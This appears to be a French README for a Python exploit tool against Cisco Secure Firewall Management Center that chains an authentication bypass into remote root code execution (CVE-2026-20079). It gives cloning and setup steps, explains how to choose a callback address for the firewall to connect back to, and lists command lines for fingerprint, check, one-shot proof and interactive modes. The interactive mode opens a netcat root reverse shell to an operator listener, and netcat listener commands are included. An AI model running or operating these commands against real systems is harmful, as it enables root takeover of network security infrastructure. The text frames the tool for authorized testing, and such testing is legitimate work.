
Implémente la chaîne de contournement d'authentification vers RCE root (CVE-2026-20079) contre Cisco Secure FMC à l'aide des modes fingerprint, check, proof et exploit interactif.
Preuve de concept en Python pour la chaîne documentée publiquement de contournement d'authentification vers RCE en root dans Cisco Secure Firewall Management Center, CVE-2026-20079.
Il ne s'agit pas d'une nouvelle vulnérabilité ni d'une chaîne d'exploitation développée de manière indépendante. C'est une implémentation clean-room de la séquence de requêtes publiée par VulnCheck, avec des modes distincts de fingerprint, de vérification par étapes, de preuve en une seule exécution et d'exploitation interactive.
Python 3.10 ou une version ultérieure est requis. Sous Linux ou macOS :
git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --help
Toutes les valeurs 192.0.2.x ci-dessous sont des adresses de documentation réservées. Ce sont des espaces réservés, et non des informations de cible découvertes, et elles doivent être remplacées par des valeurs issues de l'évaluation autorisée. Les commandes ne sont pas censées fonctionner sans modification.
| Exemple | Signification | Quoi utiliser à la place |
|---|---|---|
https://192.0.2.10 | URL de la FMC cible | Le schéma, l'adresse et le port exacts de la FMC autorisée |
192.0.2.20 | Adresse vers laquelle la FMC se reconnecte | L'adresse IP ou le nom DNS de l'écouteur de l'opérateur tel qu'accessible depuis la FMC |
192.0.2.0/24 | CIDR d'empreinte d'exemple | Une plage réseau explicitement autorisée |
4444 | Port TCP de rappel/écoute | Un port accessible approuvé sur le système de rappel |
0.0.0.0 | Où l'écouteur se lie sur le système de l'opérateur | Conservez-le pour écouter sur toutes les interfaces locales, ou utilisez l'adresse d'une interface locale |
192.0.2.10 dans --expected-callback-source | Source attendue du rappel | L'adresse source de la FMC telle qu'observée par l'écouteur ; omettez cette option lorsque le NAT la rend incertaine |
http://127.0.0.1:8080 | Proxy d'interception local facultatif | L'URL du proxy réellement en écoute sur le système de l'opérateur |
--callback-hostAppliquez cette règle : du point de vue de la FMC, quelle adresse atteint l'écouteur de l'opérateur ? Cette adresse est --callback-host.
| Chemin réseau | Valeur typique de --callback-host |
|---|---|
| L'opérateur et la FMC sont sur le même réseau routé | L'adresse LAN accessible du système de l'opérateur, eth0, en0 ou autre |
| L'opérateur atteint la FMC via un VPN | L'adresse accessible de l'interface VPN, telle que tun0 ou utun, lorsque la FMC dispose d'une route vers celle-ci |
| L'opérateur est derrière un NAT ou un pare-feu | L'IP publique ou le nom DNS dont le port sélectionné est redirigé vers le système de l'opérateur |
| Un tunnel de rappel ou un VPS est utilisé | Le point de terminaison du tunnel accessible ou l'adresse du VPS |
N'utilisez pas 127.0.0.1 ni 0.0.0.0 pour --callback-host. 127.0.0.1 désignerait la FMC elle-même, tandis que 0.0.0.0 est une valeur de liaison d'écouteur, et non une destination. Assurez-vous que le routage, les règles de pare-feu et toute redirection de port permettent à la FMC d'atteindre --callback-host sur --callback-port.
--listen-host est local uniquement : il sélectionne l'interface sur laquelle l'écouteur intégré attend. Sa valeur par défaut, 0.0.0.0, écoute sur toutes les interfaces locales. Il n'indique pas à la FMC où se connecter. Par conséquent, --callback-host et --listen-host peuvent être différents, en particulier à travers un NAT.
Supposons ce laboratoire fictif, uniquement destiné à la documentation :
Operator system FMC target
eth0: 192.0.2.20 192.0.2.10
1. Operator ---------------------------------------> FMC
HTTPS requests to https://192.0.2.10
2. Operator <--------------------------------------- FMC
Listener on TCP 4444 callback to 192.0.2.20:4444
Les valeurs correspondent à la commande comme suit :
--target https://192.0.2.10 identifie le FMC évalué.--callback-host 192.0.2.20 est l'adresse eth0 du système de l'opérateur, car
le FMC peut y accéder directement par routage.--callback-port 4444 est le port TCP approuvé utilisé par le callback.--listen-host 0.0.0.0 permet à l'écouteur intégré d'accepter le callback sur
n'importe quelle interface locale, y compris eth0.Une commande de preuve en une seule exécution pour cet exemple serait :
python3 CVE-2026-20079.py \
--proof \
--target https://192.0.2.10 \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--listen-host 0.0.0.0
Le flux est le suivant : l'opérateur envoie des requêtes HTTPS à 192.0.2.10, puis le FMC se reconnecte à l'adresse 192.0.2.20:4444 de l'opérateur. Lors d'une évaluation réelle, remplacez les deux adresses IP et confirmez la route de retour avant d'exécuter la commande. Si le FMC ne peut pas atteindre l'adresse eth0 de l'opérateur, utilisez plutôt l'adresse VPN, NAT, tunnel ou VPS accessible décrite ci-dessus.
| Mode | Effet réseau ou sur la cible | Preuve ou résultat |
|---|---|---|
--fingerprint | Requêtes GET uniquement | Une surface web FMC possible ; pas une confirmation de vulnérabilité |
--check | Au plus deux requêtes GET ; aucune mise à niveau de session | Le motif de réponse de contournement connu correspond totalement ou partiellement |
--check --intrusive | Met à niveau l'état de session côté serveur | Contournement d'authentification et accès à un jeton d'action |
--proof | Écrit et exécute une charge utile de rappel bornée | Exécution en root plus nettoyage, sans shell interactif |
--exploit | Écrit et exécute une charge utile FIFO/netcat | Un rappel root interactif, ou une vérification bornée avec --auto-verify |
Définissez une fois les trois valeurs d'exemple, en remplaçant chacune par la cible autorisée, l'adresse de rappel de l'opérateur et le port :
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20 # Address the FMC can use to reach this listener
CALLBACK_PORT=4444
Choisissez ensuite exactement un mode :
# GET-only product fingerprint; start here
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"
# GET-only authentication-bypass check; does not upgrade the session
python3 CVE-2026-20079.py --check --target "$FMC_URL"
# Intrusive authentication-bypass check; changes server-side session state
python3 CVE-2026-20079.py --check --intrusive --target "$FMC_URL"
# One-shot root proof with integrated listener and verified cleanup
python3 CVE-2026-20079.py --proof --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Interactive root callback; first start one listener in another terminal:
# Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"
# macOS built-in netcat: nc -lvn "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Bounded root verification and cleanup instead of an interactive shell
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT" \
--auto-verify